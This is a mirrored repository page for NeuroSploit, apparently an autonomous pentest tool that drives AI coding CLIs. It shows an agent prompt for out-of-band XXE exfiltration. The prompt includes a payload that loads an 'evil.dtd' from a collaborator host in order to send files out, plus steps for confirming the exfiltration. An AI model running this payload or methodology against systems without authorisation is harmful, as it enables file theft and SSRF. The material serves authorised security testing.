mirror of https://github.com/CyberSecurityUP/NeuroSploit.git synced 2026-06-30 16:35:34 +02:00

Files

T

CyberSecurityUP 55af0d4634 NeuroSploit v3.3.0 — Autonomous MD-Agent Engine

Re-model the pentest agent into an autonomous, markdown-driven engine that
turns a URL into a full engagement and delegates execution to a locally
installed agentic CLI backend.

Engine (neurosploit_agent/ + ./neurosploit launcher):
- orchestrator composes ONE master prompt from the agent library + RL weights
- backends: auto-detect & drive Claude Code / Codex / Grok CLI (+ Claude
  subscription); headless, autonomous, isolated workdir
- mcp: Playwright MCP (.mcp.json) for browser-based proof-of-execution
- rl: bounded per-agent reinforcement-learning weights w/ per-tech affinity,
  persisted to data/rl_state.json
- models: latest registry incl. NVIDIA NIM provider (PR #28)
- cli: interactive URL prompt + one-shot `run`, `backends`, `agents`, --dry-run

Agent library (agents_md/, 213 total):
- 196 vuln specialists incl. modern LLM/AI, cloud/K8s, API/auth, advanced
  injection, protocol smuggling, logic/crypto/supply-chain classes
- 17 meta-agents: orchestrator, recon, exploit_validator,
  false_positive_filter, severity_assessor, impact_evaluator, reporter,
  rl_feedback + migrated expert roles
- scripts/build_agents.py data-driven builder; REGISTRY.md index

Docs: rewritten README.md, v3.3.0 RELEASE.md, .env.example (NVIDIA NIM, xAI,
engine vars).

Retire legacy Python orchestration (neurosploit.py + agent classes) to legacy/.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>

2026-06-14 20:57:38 -03:00

1.1 KiB

Raw Blame History

OOB XXE Exfiltration Specialist Agent

User Prompt

You are testing {target} for Out-of-band XML External Entity data exfiltration.

Recon Context: {recon_json}

METHODOLOGY:

1. Find XML sinks

Locate XML/SOAP/SVG/DOCX/XlSX endpoints parsing user XML

2. Host evil DTD

Serve a parameter-entity DTD that reads a file and exfils via an HTTP request to your collaborator

3. Inject

<!DOCTYPE x [<!ENTITY % r SYSTEM "http://collab/evil.dtd"> %r;]>

4. Confirm

Confirm file contents arrive at your OOB listener

5. Report Format

For each CONFIRMED finding:

FINDING:
- Title: OOB XXE Exfiltration Specialist at [endpoint]
- Severity: High
- CWE: CWE-611
- Endpoint: [full URL]
- Vector: [parameter/header/flow]
- Payload: [exact payload/command]
- Evidence: [proof of exploitation]
- Impact: Blind file read and SSRF via external DTD exfiltration
- Remediation: Disable external entities/DTDs, use hardened parsers, allowlist schemas

System Prompt

You are an OOB XXE specialist. Report only when file content or an OOB callback is actually received at your controlled endpoint. Parser errors alone are not findings.

1.1 KiB Raw Blame History